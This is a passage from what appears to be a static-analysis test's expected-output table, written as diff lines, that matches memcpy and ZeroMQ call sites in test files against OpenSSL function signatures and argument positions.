ossl_sha3_update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 2 | +| vector.cpp:454:7:454:12 | memcpy | (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 2 | +| vector.cpp:454:7:454:12 | memcpy | (MD4_CTX *,const void *,size_t) | | MD4_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (MD4_CTX *,const void *,size_t) | | MD4_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 1 | +| vector.cpp:454:7:454:12 | memcpy | (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 2 | +| vector.cpp:454:7:454:12 | memcpy | (MD5_CTX *,const void *,size_t) | | MD5_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (MD5_CTX *,const void *,size_t) | | MD5_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 2 | +| vector.cpp:454:7:454:12 | memcpy | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 1 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 1 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 1 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 1 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 2 | +| vector.cpp:454:7:454:12 | memcpy | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 2 | +| vector.cpp:454:7:454:12 | memcpy | (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | +| vector.cpp:454:7:454:12 | memcpy | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | +| vector.cpp:454:7:454:12 | memcpy | (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 2 | +| vector.cpp:454:7:454:12 | memcpy | (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | +| vector.cpp:454:7:454:12 | memcpy | (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | +| vector.cpp:454:7:454:12 | memcpy | (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | +| vector.cpp:454:7:454:12 | memcpy | (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 2 | +| vector.cpp:454:7:454:12 | memcpy | (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 2 | +| vector.cpp:454:7:454:12 | memcpy | (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 1 | +| vector.cpp:454:7:454:12 | memcpy | (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT **,const unsigned char **,size_t) | | o2i_SCT | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SHA_CTX *,const void *,size_t) | | SHA1_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SHA_CTX *,const void *,size_t) | | SHA1_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 2 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 1 | +| vector.cpp:454:7:454:12 | memcpy | (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 1 | +| vector.cpp:454:7:454:12 | memcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 1 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,int,size_t) | | WPACKET_memset | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 2 | +| vector.cpp:454:7:454:12 | memcpy | (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 2 | +| vector.cpp:454:7:454:12 | memcpy | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 2 | +| vector.cpp:454:7:454:12 | memcpy | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 2 | +| vector.cpp:454:7:454:12 | memcpy | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 2 | +| vector.cpp:454:7:454:12 | memcpy | (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 2 | +| vector.cpp:454:7:454:12 | memcpy | (char *,const char *,size_t) | | OPENSSL_strlcat | 2 | +| vector.cpp:454:7:454:12 | memcpy | (char *,const char *,size_t) | | OPENSSL_strlcpy | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 2 | +| vector.cpp:454:7:454:12 | memcpy | (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 2 | +| vector.cpp:454:7:454:12 | memcpy | (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 2 | +| vector.cpp:454:7:454:12 | memcpy | (int *,int *,size_t) | | EVP_PBE_get | 2 | +| vector.cpp:454:7:454:12 | memcpy | (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 2 | +| vector.cpp:454:7:454:12 | memcpy | (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 2 | +| vector.cpp:454:7:454:12 | memcpy | (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 2 | +| vector.cpp:454:7:454:12 | memcpy | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | +| vector.cpp:454:7:454:12 | memcpy | (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 2 | +| vector.cpp:454:7:454:12 | memcpy | (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 2 | +| vector.cpp:454:7:454:12 | memcpy | (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 2 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 4 | +| zmq.cpp:14:5:14:21 | zmq_msg_init_data | (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 4 | +| zmq.cpp:17:6:17:13 | test_zmc | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 1 | +| zmq.cpp:17:6:17:13 | test_zmc | (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (MD4_CTX *,const void *,size_t) | | MD4_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (MD5_CTX *,const void *,size_t) | | MD5_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT **,const unsigned char **,size_t) | | o2i_SCT | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SHA_CTX *,const void *,size_t) | | SHA1_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 2 | +| 